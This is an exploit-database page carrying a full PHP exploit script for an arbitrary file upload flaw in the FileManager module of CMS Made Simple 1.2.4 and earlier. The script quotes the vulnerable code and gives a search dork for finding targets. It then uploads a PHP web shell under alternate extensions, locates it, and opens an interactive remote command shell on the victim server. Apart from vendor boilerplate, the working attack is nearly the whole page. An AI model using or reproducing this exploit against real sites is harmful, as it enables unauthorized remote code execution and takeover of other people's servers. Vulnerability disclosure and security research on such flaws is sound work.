Lucene search
K

CMS Made Simple <= 1.2.4 (FileManager module) File Upload Exploit

🗓️ 15 May 2008 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 23 Views

CMS Made Simple FileManager module allows arbitrary file upload in <= version 1.2.

Code

                                                &lt;?php

/*
	---------------------------------------------------------------------------
	CMS Made Simple &lt;= 1.2.4 (FileManager module) Arbitrary File Upload Exploit
	---------------------------------------------------------------------------
	
	author...: EgiX
	mail.....: n0b0d13s[at]gmail[dot]com
	
	link.....: http://www.cmsmadesimple.org/
	dork.....: &quot;This site is powered by CMS Made Simple&quot;

	[-] vulnerable code in /modules/FileManager/postlet/javaUpload.php
	
	21.	// Configuration ---------------------------------------------------------------
	22.	// Change the below path to the folder where you would like files uploading.
	23.	// e.g. &quot;/home/yourname/myuploads/&quot;
	24.	// or &quot;c:\php\uploads\&quot;
	25.	// Note, this MUST have the trailing slash.
	26.	$uploaddir = '[PATH TO UPLOAD DIRECTORY]';
	27.	// Whether or not to allow the upload of specific files
	28.	$allow_or_deny = true;
	29.	// If the above is true, then this states whether the array of files is a list of
	30.	// extensions to ALLOW, or DENY
	31.	$allow_or_deny_method = &quot;deny&quot;; // &quot;allow&quot; or &quot;deny&quot;
	32.	$file_extension_list = array(&quot;php&quot;,&quot;asp&quot;,&quot;pl&quot;);
	33.	// -----------------------------------------------------------------------------
	34.	if ($allow_or_deny){
	35.		if (($allow_or_deny_method == &quot;allow&quot; &amp;&amp; !in_array(strtolower(array_pop(explode('.', $_FILES['userfile']['name']))), $file_extension_list))
	36.			|| ($allow_or_deny_method == &quot;deny&quot; &amp;&amp; in_array(strtolower(array_pop(explode('.', $_FILES['userfile']['name']))), $file_extension_list))){		
	37.			// Atempt to upload a file with a specific extension when NOT allowed.
	38.			// 403 error
	39.			header(&quot;HTTP/1.1 403 Forbidden&quot;);
	40.			echo &quot;POSTLET REPLY\r\n&quot;;
	41.			echo &quot;POSTLET:NO\r\n&quot;;
	42.			echo &quot;POSTLET:FILE TYPE NOT ALLOWED\r\n&quot;;
	43.			echo &quot;POSTLET:ABORT THIS\r\n&quot;; // Postlet should NOT send this file again.
	44.			echo &quot;END POSTLET REPLY\r\n&quot;;
	45.			exit;
	46.		}
	47.	}
	48.	if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir .$_FILES['userfile']['name']))
	49.	{
	50.		// All replies MUST start with &quot;POSTLET REPLY&quot;, if they don't, then Postlet will
	51.		// not read the reply and will assume the file uploaded successfully.
	52.		echo &quot;POSTLET REPLY\r\n&quot;;
	53.		// &quot;YES&quot; tells Postlet that this file was successfully uploaded.
	54.	    	echo &quot;POSTLET:YES\r\n&quot;;
	55.		// End the Postlet reply
	56.		echo &quot;END POSTLET REPLY\r\n&quot;;
	57.		exit;
	
	with a default configuration of this script, an attacker might be able to upload arbitrary files containing malicious
	PHP code due to $file_extension_list array don't contains many dangerous extensions (.jsp, .php3, .cgi, .dhtml, etc...)
	
*/

error_reporting(0);
set_time_limit(0);
ini_set(&quot;default_socket_timeout&quot;, 5);

function http_send($host, $packet)
{
	$sock = fsockopen($host, 80);
	while (!$sock)
	{
		print &quot;\n[-] No response from {$host}:80 Trying again...&quot;;
		$sock = fsockopen($host, 80);
	}
	fputs($sock, $packet);
	while (!feof($sock)) $resp .= fread($sock, 1024);
	fclose($sock);
	return $resp;
}

function upload()
{
	global $host, $path, $uploaddir, $file_ext;
	
	foreach ($file_ext as $ext)
	{
		print &quot;\n[-] Trying to upload with .{$ext} extension...&quot;;
		
		$data  = &quot;--12345\r\n&quot;;
		$data .= &quot;Content-Disposition: form-data; name=\&quot;userfile\&quot;; filename=\&quot;.php.{$ext}\&quot;\r\n&quot;;
		$data .= &quot;Content-Type: application/octet-stream\r\n\r\n&quot;;
		$data .= &quot;&lt;?php \${print(_code_)}.\${passthru(base64_decode(\$_SERVER[HTTP_CMD]))}.\${print(_code_)} ?&gt;\n&quot;;
		$data .= &quot;--12345--\r\n&quot;;
		
		$packet  = &quot;POST {$path}modules/FileManager/postlet/javaUpload.php HTTP/1.0\r\n&quot;;
		$packet .= &quot;Host: {$host}\r\n&quot;;
		$packet .= &quot;Content-Length: &quot;.strlen($data).&quot;\r\n&quot;;
		$packet .= &quot;Content-Type: multipart/form-data; boundary=12345\r\n&quot;;
		$packet .= &quot;Connection: close\r\n\r\n&quot;;
		$packet .= $data;
		$html	 = http_send($host, $packet);
		
		if (!eregi(&quot;POSTLET:YES&quot;, $html)) die(&quot;\n[-] Upload failed!\n&quot;);
		
		$packet  = &quot;GET {$path}modules/FileManager/postlet/{$uploaddir}.php.{$ext} HTTP/1.0\r\n&quot;;
		$packet .= &quot;Host: {$host}\r\n&quot;;
		$packet .= &quot;Connection: close\r\n\r\n&quot;;
		$html    = http_send($host, $packet);
		
		if (!eregi(&quot;print&quot;, $html) and eregi(&quot;_code_&quot;, $html)) return $ext;
		
		sleep(1);
	}
	
	return false;
}

print &quot;\n+----------------------------------------------------------------+&quot;;
print &quot;\n| CMS Made Simple &lt;= 1.2.4 Arbitrary File Upload Exploit by EgiX |&quot;;
print &quot;\n+----------------------------------------------------------------+\n&quot;;

if ($argc &lt; 2)
{
	print &quot;\nUsage......: php $argv[0] host path&quot;;
	print &quot;\nExample....: php $argv[0] localhost /cms/\n&quot;;
	die();
}

$host = $argv[1];
$path = $argv[2];

$uploaddir = rawurlencode(&quot;[PATH TO UPLOAD DIRECTORY]&quot;);
$file_ext  = array(&quot;dhtml&quot;, &quot;phtml&quot;, &quot;php3&quot;, &quot;php5&quot;, &quot;jsp&quot;, &quot;jar&quot;, &quot;cgi&quot;);

if (!($ext = upload())) die(&quot;\n\n[-] Exploit failed...\n&quot;);
else print &quot;\n[-] Shell uploaded...starting it!\n&quot;;

define(STDIN, fopen(&quot;php://stdin&quot;, &quot;r&quot;));

while(1)
{
	print &quot;\ncmsmadesimple-shell# &quot;;
	$cmd = trim(fgets(STDIN));
	if ($cmd != &quot;exit&quot;)
	{
		$packet = &quot;GET {$path}modules/FileManager/postlet/{$uploaddir}.php.{$ext} HTTP/1.0\r\n&quot;;
		$packet.= &quot;Host: {$host}\r\n&quot;;
		$packet.= &quot;Cmd: &quot;.base64_encode($cmd).&quot;\r\n&quot;;
		$packet.= &quot;Connection: close\r\n\r\n&quot;;
		$html   = http_send($host, $packet);
		//echo $html;
		if (!eregi(&quot;_code_&quot;, $html)) die(&quot;\n[-] Exploit failed...\n&quot;);
		$shell = explode(&quot;_code_&quot;, $html);
		print &quot;\n{$shell[1]}&quot;;
	}
	else break;
}

?&gt;
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

15 May 2008 00:00Current
7.1High risk
Vulners AI Score7.1
23